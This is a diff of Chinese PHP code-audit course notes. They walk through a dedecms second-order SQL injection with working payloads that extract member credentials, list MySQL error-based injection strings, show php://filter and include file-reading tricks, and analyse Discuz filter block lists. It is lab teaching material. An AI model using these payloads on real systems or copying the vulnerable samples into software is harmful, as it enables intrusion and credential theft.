- 这些地方是跟数据库交互的;
- 跟文件系统交互的是系统配置文件;
- 在二次漏洞类型里面,我们可以重点关注SQL注入、XSS。
## 1.1. dedecms二次注入漏洞分析
```php
//保存评论内容 line 218
if($comtype == 'comments')
{
$arctitle = addslashes($title);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
```
这段代码保存用户评论到数据库,并对评论的标题 $title 的内容进行了 addslashes 操作。再往下看:
```php
//引用回复 line 234
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg,2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
file_put_contents("1.txt", $inquery);
$dsql->ExecuteNoneQuery($inquery);
}
```
当回复评论的时候,首先根据 $fid 找到需要引用的评论,然后把评论的标题直接赋值给了 $arctitle 变量。而在 $inquery 插入新的评论的时候,直接使用了 $arctitle 变量,没有对其中的特殊字符进行过滤。
加入我们插入评论的 title 是字符串 11'
下图展示了漏洞的原理,单引号被成功注入!
![alt text](img/dedecms原理.drawio.png)
## 1.2. 漏洞浮现
在FireFox中安装HackBar V2
![alt text](img/image-20251030095952805.png)
登录后台管理页面:http://localhost/dedecms/dede ;在栏目管理中增加一个栏目:例如**顶级栏目**。
![image-20251030100750730](img/image-20251030100750730.png)
退出登录,回到主页面,注册一个新用户:
![image-20251030100905871](img/image-20251030100905871.png)
用新用户登录,进入会员中心:
![image-20251030103605769](img/image-20251030103605769.png)
在内容中心中发布文章:
![image-20251030103708468](img/image-20251030103708468.png)
发表一篇新文章:
![image-20251030103840478](img/image-20251030103840478.png)
在后续的界面点击查看文章:
![image-20251030103929308](img/image-20251030103929308.png)
注意这篇文章的aid
![image-20251030104008843](img/image-20251030104008843.png)
在这个页面中通过F12打开Firefox的调试模式:
![image-20251030104359640](img/image-20251030104359640.png)
1. 切换到 HackBar 选单;
2. 输入URL```http://localhost/dedecms/plus/feedback.php?aid=2``` 注意其中的aid需要和你刚刚的aid一致;
3. 勾选 Post data
4. 写入Post的值,注意:validate的值需要和图片验证码一致;aid需要和前面的aid一致。```action=send&comtype=comments&aid=2&isconfirm=yes&msg=xx&validate=WZAR&title=xx',(char(@`'`)),/* ```
5. 点击执行。查看数据库中的 dede_feedback 表,刚刚的评论内容:![image-20251030105236198](img/image-20251030105236198.png)
6. 修改post的内容为,同样注意validate的值需要和图片验证码一致:```action=send&comtype=reply&fid=1&isconfirm=yes&validate=ANEP&msg=*/1,2,3,4,5,6,7, (select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23```,点击执行。
![image-20251030113214493](img/image-20251030113214493.png)
注意:有时需要在**会员中心**的**个人空间**找到你发的贴然后再进行回复。
Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

+339
View File
@@ -0,0 +1,339 @@
- [1. 第三方过滤函数与类](#1-第三方过滤函数与类)
- [1.1. discuz SQL安全过滤类分析](#11-discuz-sql安全过滤类分析)
- [1.2. discuz XSS标签过滤函数分析](#12-discuz-xss标签过滤函数分析)
- [2. PHP内置过滤函数](#2-php内置过滤函数)
- [2.1. SQL注入过滤函数](#21-sql注入过滤函数)
- [2.2. XSS注入过滤函数](#22-xss注入过滤函数)
- [2.3. 命令执行过滤函数](#23-命令执行过滤函数)
# 1. 第三方过滤函数与类
目前大多数应用都有一个参数过滤的统一入口,类似于dedecms的代码。
```/include/common.inc.php```
```php
foreach(Array('_GET','_POST','_COOKIE') as $_request) // line 52
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
```
_RunMagicQuotes 函数
```php
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
```
这里的确使用了 ```addslashes```函数对特定的字符进行转义,但是还不够完善。
## 1.1. discuz SQL安全过滤类分析
discuz专门有一个SQL注入过滤类来过滤SQL注入请求```/config/config global.php```中。
```php
// ------------------------- CONFIG SECURITY -------------------------- // line 57
$_config['security']['authkey'] = '2e4617iIZ7jIVt61';
$_config['security']['urlxssdefend'] = 1;
$_config['security']['attackevasive'] = '0';
$_config['security']['querysafe']['status'] = 1;
$_config['security']['querysafe']['dfunction']['0'] = 'load_file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2'] = 'substring';
$_config['security']['querysafe']['dfunction']['3'] = 'if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe']['dfunction']['5'] = 'char';
$_config['security']['querysafe']['daction']['0'] = '@';
$_config['security']['querysafe']['daction']['1'] = 'intooutfile';
$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';
$_config['security']['querysafe']['daction']['3'] = 'unionselect';
$_config['security']['querysafe']['daction']['4'] = '(select';
$_config['security']['querysafe']['daction']['5'] = 'unionall';
$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';
$_config['security']['querysafe']['dnote']['0'] = '/*';
$_config['security']['querysafe']['dnote']['1'] = '*/';
$_config['security']['querysafe']['dnote']['2'] = '#';
$_config['security']['querysafe']['dnote']['3'] = '--';
$_config['security']['querysafe']['dnote']['4'] = '"';
$_config['security']['querysafe']['dlikehex'] = 1;
$_config['security']['querysafe']['afullnote'] = '0';
```
- ```$_config['security']['querysafe']['status'] = 1;```设置是否开启SQL注入防御,这个选项默认开启
- ```'daction']```和```['dnote']```都是SQL注入过滤类的过滤规则,规则里包含了常见的注入关键字
- Discuz 执行 SQL 语句之前会调用 \source\class\discuz\discuz_database.php 文件 discuz_database_safecheck类
- 下面的checkquery($sql)函数进行过滤
```php
public static function checkquery($sql) { // line 347
if (self::$config === null) {
self::$config = getglobal('config/security/querysafe');
}
if (self::$config['status']) {
$check = 1;
$cmd = strtoupper(substr(trim($sql), 0, 3));
if(isset(self::$checkcmd[$cmd])) {
$check = self::_do_query_safe($sql);
} elseif(substr($cmd, 0, 2) === '/*') {
$check = -1;
}
if ($check < 1) {
throw new DbException('It is not safe to do this query', 0, $sql);
}
}
return true;
}
```
从代码中可以看到,程序首先加载配置文件中的config/security/querysafe,根据 $config['status']判断 SQL 注入防御是否开启,再到 $check = self::_do_query_safe($sql); 可以看到该函数又调用了同类下的_do_query_safe()函数对SQL语句进行过滤。
```php
private static function _do_query_safe($sql) {
$sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);
$mark = $clean = '';
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
} else {
$len = strlen($sql);
$mark = $clean = '';
for ($i = 0; $i < $len; $i++) {
$str = $sql[$i];
switch ($str) {
case '`':
if(!$mark) {
$mark = '`';
$clean .= $str;
} elseif ($mark == '`') {
$mark = '';
}
break;
case '\'':
if (!$mark) {
$mark = '\'';
$clean .= $str;
} elseif ($mark == '\'') {
$mark = '';
}
break;
case '/':
if (empty($mark) && $sql[$i + 1] == '*') {
$mark = '/*';
$clean .= $mark;
$i++;
} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= '*';
}
break;
case '#':
if (empty($mark)) {
$mark = $str;
$clean .= $str;
}
break;
case "\n":
if ($mark == '#' || $mark == '--') {
$mark = '';
}
break;
case '-':
if (empty($mark) && substr($sql, $i, 3) == '-- ') {
$mark = '-- ';
$clean .= $mark;
}
break;
default:
break;
}
$clean .= $mark ? '' : $str;
}
}
if(strpos($clean, '@') !== false) {
return '-3';
}
$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));
if (self::$config['afullnote']) {
$clean = str_replace('/**/', '', $clean);
}
if (is_array(self::$config['dfunction'])) {
foreach (self::$config['dfunction'] as $fun) {
if (strpos($clean, $fun . '(') !== false)
return '-1';
}
}
if (is_array(self::$config['daction'])) {
foreach (self::$config['daction'] as $action) {
if (strpos($clean, $action) !== false)
return '-3';
}
}
if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {
return '-2';
}
if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)
return '-4';
}
}
return 1;
}
```
该函数首先使用```$sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);```将SQL语句中的\\、\'、\"以及'、"替换为空紧接着是一个if else判断逻辑来选择过滤的方式:
```$clean = preg_replace("/'(.+?)'/s", '', $sql);```
- 这段代码表示当SQL语句里存在'/'、'#'、'-- '、'@'、'`'这些字符时,则直接调用 preg_replace()函数将单引号(')中间的内容替换为空
- 正则表达式中?匹配前面的子表达式零次或一次。
- /s:默认情况下的圆点 . 是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后,圆点 . 中包含换行符 \n。
else条件中是对整段SQL语句进行逐个字符进行判断:
```php
else {
$len = strlen($sql);
$mark = $clean = '';
for ($i = 0; $i < $len; $i++) {
```
```php
case '/':
if (empty($mark) && $sql[$i + 1] == '*') {
$mark = '/*';
$clean .= $mark;
$i++;
} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= '*';
}
break;
```
这段代码的逻辑是:当检查到SQL语句中存在斜杠(/)时,则去判断下一个字符是不是星号(*),如果是星号(*)就把这两个字符拼接起来,即/*,然后继续判断下一个字符是不是星号(*),如果是星号则再继续拼接起来,得到/**
最后在如下代码中判断是否存在原来拦截规则里面定义的字符,如果存在则拦截SQL语句执行:
```php
if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)
return '-4';
}
}
```
## 1.2. discuz XSS标签过滤函数分析
在XSS的防御上,只要过滤掉尖括号以及单、 双引号就能干掉绝大部分的payload。
下面是discuz的HTML标签过滤代码在/source/function/function_blog.php文件中
```php
function checkhtml($html) { // line 271
if(!checkperm('allowhtml')) {
preg_match_all("/\<([^\<]+)\>/is", $html, $ms);
$searchs[] = '<';
$replaces[] = '&lt;';
$searchs[] = '>';
$replaces[] = '&gt;';
if($ms[1]) {
$allowtags = 'img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote';
$ms[1] = array_unique($ms[1]);
foreach ($ms[1] as $value) {
$searchs[] = "&lt;".$value."&gt;";
$value = str_replace('&amp;', '_uch_tmp_str_', $value);
$value = dhtmlspecialchars($value);
$value = str_replace('_uch_tmp_str_', '&amp;', $value);
$value = str_replace(array('\\','/*'), array('.','/.'), $value);
$skipkeys = array('onabort','onactivate','onafterprint','onafterupdate','onbeforeactivate','onbeforecopy','onbeforecut','onbeforedeactivate',
'onbeforeeditfocus','onbeforepaste','onbeforeprint','onbeforeunload','onbeforeupdate','onblur','onbounce','oncellchange','onchange',
'onclick','oncontextmenu','oncontrolselect','oncopy','oncut','ondataavailable','ondatasetchanged','ondatasetcomplete','ondblclick',
'ondeactivate','ondrag','ondragend','ondragenter','ondragleave','ondragover','ondragstart','ondrop','onerror','onerrorupdate',
'onfilterchange','onfinish','onfocus','onfocusin','onfocusout','onhelp','onkeydown','onkeypress','onkeyup','onlayoutcomplete',
'onload','onlosecapture','onmousedown','onmouseenter','onmouseleave','onmousemove','onmouseout','onmouseover','onmouseup','onmousewheel',
'onmove','onmoveend','onmovestart','onpaste','onpropertychange','onreadystatechange','onreset','onresize','onresizeend','onresizestart',
'onrowenter','onrowexit','onrowsdelete','onrowsinserted','onscroll','onselect','onselectionchange','onselectstart','onstart','onstop',
'onsubmit','onunload','javascript','script','eval','behaviour','expression','style','class');
$skipstr = implode('|', $skipkeys);
$value = preg_replace(array("/($skipstr)/i"), '.', $value);
if(!preg_match("/^[\/|\s]?($allowtags)(\s+|$)/is", $value)) {
$value = '';
}
$replaces[] = empty($value)?'':"<".str_replace('&quot;', '"', $value).">";
}
}
$html = str_replace($searchs, $replaces, $html);
}
return $html;
}
```
```preg_match_all("/\<([^\<]+)\>/is", $html, $ms);```正则取岀来尖括号中间的内容然后在if($ms[l])这个if条件里对这些标签中的关键字进行筛选。
```$skipkeys```变量定义了很多on事件的敏感字符。
最后拼接正则将这些字符串替换掉。
```php
$skipstr = implode('|', $skipkeys);
$value = preg_replace(array("/($skipstr)/i"), '.', $value);
```
# 2. PHP内置过滤函数
## 2.1. SQL注入过滤函数
- SQL 注入过滤函数有 addslashes()、mysql_real_escape_string()以及 mysql_escape_string(),
- 它们的作用都是给字符串添加反斜杠(\)来转义掉单引号(')、双引号('')、反斜线(\)以及空字符 NULL。
## 2.2. XSS注入过滤函数
htmlspecialchars()函数的作用是将字符串中的特殊字符转换成HTML实体编码,
- 如```&``` 转换成```&amp;```
- ```"``` 转换成```&quot;```
- ```'``` 转换成```&#039;```
- ```<``` 转换成```&lt;```
- ```>``` 转换成```&gt;```
strip_tags()函数则是用来去掉HTML及PHP标记比如给这个函数传入 ```<h1>xxxxx</h1>```经过它处理后返回的字符串为 ```xxxxx```。
## 2.3. 命令执行过滤函数
PHP为了防止系统命令注入的漏洞,提供了 [escapeshellcmd()](https://www.php.net/manual/zh/function.escapeshellcmd.php)和[escapeshellarg()]()两个函数对参数进行过滤。
+2 -2
View File
@@ -71,7 +71,7 @@
运行结果: 运行结果:
![image-20251021092027968](/media/danny/Data/CUIT/代码审计/第五章/img/image-20251021092027968.png) ![image-20251021092027968](img/image-20251021092027968.png)
### 1.1.3. 远程文件包含RFI ### 1.1.3. 远程文件包含RFI
@@ -118,7 +118,7 @@ http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input
F12打开Edge的调试模式。 F12打开Edge的调试模式。
![image-20251021101739615](/media/danny/Data/CUIT/代码审计/第五章/img/image-20251021101739615.png) ![image-20251021101739615](img/image-20251021101739615.png)
1. 选择请求类型 POST 1. 选择请求类型 POST
2. 输入URLhttp://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input 2. 输入URLhttp://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input
+521
View File
@@ -0,0 +1,521 @@
- [1. GPC等转义的绕过](#1-gpc等转义的绕过)
- [1.1. 编码转换问题](#11-编码转换问题)
- [2. 神奇的字符串](#2-神奇的字符串)
- [2.1. 字符处理函数报错信息泄露](#21-字符处理函数报错信息泄露)
- [2.2. iconv函数字符编码转换截断](#22-iconv函数字符编码转换截断)
- [3. php://输入输出流](#3-php输入输出流)
- [3.1. php://input](#31-phpinput)
- [3.2. php://output和php://filter](#32-phpoutput和phpfilter)
- [3.2.1. php://filter写文件](#321-phpfilter写文件)
- [3.2.2. php://filter读文件](#322-phpfilter读文件)
- [4. PHP代码解析标签](#4-php代码解析标签)
- [5. fuzz漏洞发现](#5-fuzz漏洞发现)
- [6. 不严谨的正则表达式](#6-不严谨的正则表达式)
- [6.1. 没有使用^和$限定匹配开始/结束位置](#61-没有使用和限定匹配开始结束位置)
- [6.2. 特殊字符未转义](#62-特殊字符未转义)
- [7. 十余种MySQL报错注入](#7-十余种mysql报错注入)
- [8. Windows FindFirstFile 利用](#8-windows-findfirstfile-利用)
- [9. PHP可变变量](#9-php可变变量)
转义绕过、字符串常见的安全问题、PHP输入输出流、FUZZ挖掘漏洞以及正则表达式不严谨。
# 1. GPC等转义的绕过
- GPC会自动把提交上去的单引号等敏感字符给转义掉
- 在PHP5之后用$_SERVER取到的header字段不受GPC影响
- 在header注入里面最常见的是user-agent 、referer 以及client-ip/x-forward-for
- $_FILES变量也不受GPC保护测试代码:
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "不受GPC保护的$_SERVER和$_FILES"."<br />";
echo 'GPC目前的值为 '.get_magic_quotes_gpc();
echo '<br />client-ip= ' . $_SERVER["HTTP_CLIENT_IP"];
echo '<br />$_GET[a]= ' . $_GET[a];
?>
```
![image-20251030143432746](img/image-20251030143432746.png)
然后在浏览器中访问:
```
http://localhost/2020CodeAudit/c8/8-1-1-gpc-server.php?a=1'
```
看看发送包:
![image-20251030143549509](img/image-20251030143549509.png)
右键点中这个记录,Send to repeater
![image-20251030143757610](img/image-20251030143757610.png)
添加 http头,发送Send
```
client-ip: a'
```
最后结果显示$_SERVER 中的环境变量并没有进行特殊字符的转义。
## 1.1. 编码转换问题
```php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<?php
echo "mb_convert_encoding函数使用举例:"."<br />";
$sql = "where id = '" . urldecode("-1%df%5c' -- ") . "'";
print_r(mb_convert_encoding($sql,"UTF-8","GBK"));//编码转换函数
echo '<br />';
print_r($sql);
?>
```
```
http://localhost/2020CodeAudit/c8/8-1-2-covert-encode.php
```
结果:
```
mb_convert_encoding函数使用举例:
where id = '-1運' -- '
where id = '-1\' -- '
```
这就是以前讲的宽字节注入的漏洞,只不过这里使用 mb_convert_encoding 函数把UTF8转码到 GBK 进行模拟。可以看看源文件的编码是UTF8。
书上 144 页有个例子
# 2. 神奇的字符串
## 2.1. 字符处理函数报错信息泄露
- 要显示错误信息需要打开在PHP配置文件 php.ini 中设置 display_errors = on 或者在代码中加入error_reporting()函数
- 其中最常用的是E_ALL、E_WARNING、E_NOTICE
- E_ALL代表提示所有问题, E_WARNING代表显示错误信息,E_NOTICE则是显示基础提示信息。
trim ()函数对用户名等值去掉两边的空格,这时候如果我们传入的用户名参数是一个数组,则程序就会报错,测试代码:
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "利用报错信息举例:"."<br />";
echo trim($_GET['a']);//当输入?a[]=test时,程序报错
?>
```
```
http://localhost/2020CodeAudit/c8/8-2-1-trim-error.php?a[]=test
```
结果:
```
利用报错信息举例:
Notice: Array to string conversion in C:\autit\www\2020CodeAudit\C8\8-2-1-trim-error.php on line 6
Array
```
## 2.2. iconv函数字符编码转换截断
- iconv()函数用来做字符编码转换;
- 比如从UTF-8转换到GBK字符集的编码转换总会存在一定的差异性,导致部分编码不能被成功转换,也就是出现常说的乱码。
- 在使用iconv()函数转码的时候,当遇到不能处理的字符串则后续字符串会不被处理
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "iconv()函数使用举例:"."<br />";
//chr() 函数从指定的 ASCII 值返回字符。
/*
ASCII码:
数字 32–126 分配给了能在键盘上找到的字符,当您查看或打印文档时就会出现。注:十进制32代表空格 ,十进制数字 127 代表 DELETE 命令。
ASCII 表上的数字 0–31 分配给了控制字符,用于控制像打印机等一些外围设备
扩展的 ASCII 包含 ASCII 中已有的 128 个字符,又增加了 128 个字符,总共是 256 个。
*/
$a = '1' . chr(130) . '2';
echo $a;
echo '<br />';
echo iconv("UTF-8","gbk",$a);
?>
```
```
http://localhost/2020CodeAudit/c8/8-2-2-2-iconv.php
```
结果:
```
iconv()函数使用举例:
12
1
```
通过这里例子可以看到,转换后的字符串被切断了。149页的漏洞就是利用iconv这个特点,可以上传任意类型的文件。
# 3. [php://输入输出流](https://www.php.net/manual/zh/wrappers.php.php)
- PHP提供了php://的协议允许访问 PHP的输入输出流、标准输入输出和错误描述符
- 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
151 页:
## 3.1. php://input
- 可以访问请求的原始数据的只读流。
- 即可以直接读取到POST没有经过解析的原始数据, 但是php://input不能以获取“multipart/form-data”方式提交的数据。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://input使用举例:"."<br />";
echo file_get_contents("php://input");
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpinput.php
```
![image-20251030153450203](img/image-20251030153450203.png)
前面的例子中可以通过该方式注入PHP代码。
## 3.2. php://output和php://filter
- php://output:将流数据输出
- php://filter是一个文件操作的协议,可以对磁盘中的文件进行读写操作,效果类似 于readfile()、file()和file_get_contents()
| 名 称 | 描 述 |
| ------------------------- | ------------------------------------------------------------ |
| resource=<要过滤的数据流> | 该参数是必须的。它指定了你要筛选过滤的数据流 |
| read=<读链的筛选列表> | 该参数可选,可以设定一个或多个过滤器名称,以管道符(\|) 分隔 |
| write=<写链的筛选列表> | 该参数可选,可以设定一个或多个过滤器名称,以管道符(\|) 分隔 |
| <;两个链的筛选列表> | 任何没有以read=或write=作前缀的筛选器列表会视情况应 用于读或写链 |
### 3.2.1. php://filter写文件
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://filter使用举例:"."<br />";
//ROT13是一种简易的替换式密码。
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello world123");
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-1.php
```
```file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello world123");```会向脚本同目录下写入“example.txt”文件,内容为rot13编码过的“Hello World123”
```
Uryyb jbeyq123
```
### 3.2.2. php://filter读文件
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://filter使用举例2"."<br />";
//输入?f=php://filter/convert.base64-encode/resource=1.php
include($_GET['f']);
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-2.php?f=php://filter/convert.base64-encode/resource=1.php
```
结果:
```
php://filter使用举例2
PD9waHANCglwaHBpbmZvKCk7DQo/Pg==
```
相当于使用 base64 对 1.php 文件进行编码,其结果被包含到输出流中。
如果是:
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-2.php?f=1.php
```
就会包含1.php中的内容,如果有php代码,就会执行。
# 4. PHP代码解析标签
PHP有几种解析标签的写法来标识PHP代码
- 脚本标签:```<script language="php">...< /script>```从PHP7开始,不支持该写法
- 短标签:```< ? ... ?>``` 需要在php.ini中设置```short_open_tags=On```
- asp标签:```<% ...%>``` 需要在php.ini中设置```asp_tags=On```
```php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PHP代码解析标签使用举例</title>
</head>
<body>
<!--<? phpinfo(); ?>-->
<!--<script language="php">phpinfo()</script>-->
<% phpinfo(); %>
</body>
</html>
```
```
http://localhost/2020CodeAudit/c8/8-4-php-tag.php
```
请查看 php 配置。
# 5. fuzz漏洞发现
- fuzz指的是对特定目标的模糊测试
- 当我们用Office Word打开doc文档的时候,Word软件会按照指定的格式读取文件的内容,
- 如果文件格式出现异常字符,Word无法解析,而又没有提前捕捉到这种类型的错误,则有可能引发Word程序崩溃,这就是一个bug
- 这时候我们就可以通过工具生成大量带有异常格式或者字符的doc文档,然后调用Word程序去读取,尝试发现更多的bug。
书上 154 页
# 6. 不严谨的正则表达式
正则表达式也跟程序语言一样,规则写得不严谨,就会导致安全问题产生
## 6.1. 没有使用^和$限定匹配开始/结束位置
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo '不严谨的正则表达式,没有使用^和$限定开始结束位置:'."<br />";
// $ip = $_SERVER['HTTP_CLIENT_IP'];
// $ip = urldecode('127.0.0.1');
$ip = urldecode('127.0.0.1zzz');
echo $ip."<br />";
//if(preg_match('/\d+\.\d+\.\d+\.\d+/',$ip)){
if(preg_match('/^\d+\.\d+\.\d+\.\d+$/',$ip)){
echo $ip;
}
?>
```
```
http://localhost/2020CodeAudit/c8/8-6-pregrematch-1.php
```
```'/\d+\.\d+\.\d+\.\d+/'```没有限定开始和结束,因此只要包含了合法IP地址的字符串都可以通过验证;```'/^\d+\.\d+\.\d+\.\d+$/'```规定了开始和结束必须为数字。
## 6.2. 特殊字符未转义
在正则表达式里,所有能被正则表达式引擎解析的字符都算是特殊字符,而在匹配这些字符的原字符时需要使用反斜杠(\\\)来进行转义,如果不进行转义,像样英文句号(.)则可用来表示任何字符,存在安全隐患
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "不严谨的正则表达式,特殊字符未转义:"."<br />";
$filename = urldecode('xxx.php%00jpg');
if(preg_match('/.(jpg|gif|png|bmp)$/i',$filename)){
file_put_contents($filename,'aaa111');
}
else{
echo '不允许的文件扩展名';
}
?>
```
```
http://localhost/2020CodeAudit/c8/8-6-pregrematch-2.php
```
# 7. 十余种MySQL报错注入
- SQL Server利用的是convert()和cast()函数
- MySQL的报错 SQL注入方式更多,不过多数人以为只有三种,floor()、updatexml()以及 extractvalue()这三个函数,
- 但实际上还有很多个函数都会导致MySQL报错并且显示出数据,它们分别是
- GeometryCollection(),
- polygon()、
- GTID_SUBSET()、
- multipoint()、
- multilinestring()、
- multipolygon()、
- LINESTRING()、
- exp()
```php
<?php
/*
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)a)
id=1 and (extractvalue(1,concat(0x5c,(select user()))))
id=1 and (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
id=1 and GeometryCollection((select * from(select * from(select user())a)b))
id=1 and polygon((select * from(select * from(select user())a)b))
id=1 and multipoint((select * from(select * from(select user())a)b))
id=1 and multilinestring((select * from(select * from(select user())a)b))
id=1 and multipolygon((select * from(select * from(select user())a)b))
id=1 and linestring((select * from(select * from(select user())a)b))
id=1 and EXP(~(select * from(select user())a))
*/
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "test";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$uid = $_GET['id'];
$sql = "SELECT * FROM userinfo where id=$uid";
$result = $conn->query($sql);
print_r('当前SQL语句:' . $sql . '<br />结果:');
// var_dump($result);
if ($result->num_rows > 0) {//返回结果集中行的数量。
// 输出每行数据
while($row = $result->fetch_assoc()) {//从结果集中取得一行作为关联数组。
var_dump($row);
}
} else {
echo mysqli_error($conn);
}
//$result->free();
$conn->close();
?>
```
```
http://localhost/2020CodeAudit/c8/8-7-SQL.php? id=1 and (updatexml(1, concat(0x5e24,(select user()),0x5e24),1))
```
结果:
```
Warning: mysqli::mysqli() [mysqli.mysqli]: (28000/1045): Access denied for user 'root'@'localhost' (using password: YES) in C:\autit\www\2020CodeAudit\C8\8-7-SQL.php on line 29
连接失败: Access denied for user 'root'@'localhost' (using password: YES)
```
注意:mysql版本不同,报错可能不同。
# 8. Windows FindFirstFile 利用
- 在Windows下时,只需要知道文件所在目录,然后利用Windows的特性就可以访问到文件
- 这是因为 Windows在搜索文件的时候使用到了 FindFirstFile这一个winapi函数
- 该函数到一个文件夹(包括子文件夹)去搜索指定文件。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "Windows FindFirstFile函数利用举例:"."<br />";
include($_GET['file']);
?>
```
12.txt 文件
```php
<?php
phpinfo();
?>
```
```
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=12.txt
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=1<.txt
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=1<<
```
很多函数都有这个特性,162 页。
| 函 数 | 功 能 | 函 数 | 功 能 |
| -------------------- | -------- | -------------------- | ---------- |
| include() | 包含文件 | file_put_contents() | 写入文件 |
| include_once() | 包含文件 | mkdir() | 创建文件夹 |
| require() | 包含文件 | tempnam() | 创建文件 |
| require_once() | 包含文件 | touch() | 创建文件 |
| fopen() | 打开文件 | move_uploaded_file() | 移动文件 |
| ziparchive: :open() | 打开文件 | opendir() | 文件夹操作 |
| copy() | 复制文件 | readdir() | 文件夹操作 |
| f ile_get_contents() | 读取文件 | rewinddir() | 文件夹操作 |
| parse_ini_file() | 读取文件 | closedir() | 文件夹操作 |
| readfile() | 读取文件 | | |
# 9. PHP可变变量
- 部分PHP应用在写配置文件或者使用preg_replace()函数第二个参数赋值变量时,会用到双引号(")来代表string类型给变量赋值
- 在PHP语言中,单引号和双引号是有区别的,单引号代表纯字符串,而双引号则是会解析中间的变量,所以当使用双引号时会存在代码执行漏洞
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "PHP可变变量举例:"."<br />";
$a = 'seay';
$$a = '123';
echo $seay;
?>
```
部分PHP应用在写配置文件或者使用preg_replace()函数第二个参数赋值变量时,会用到双引号(")来代表string类型给变量赋值
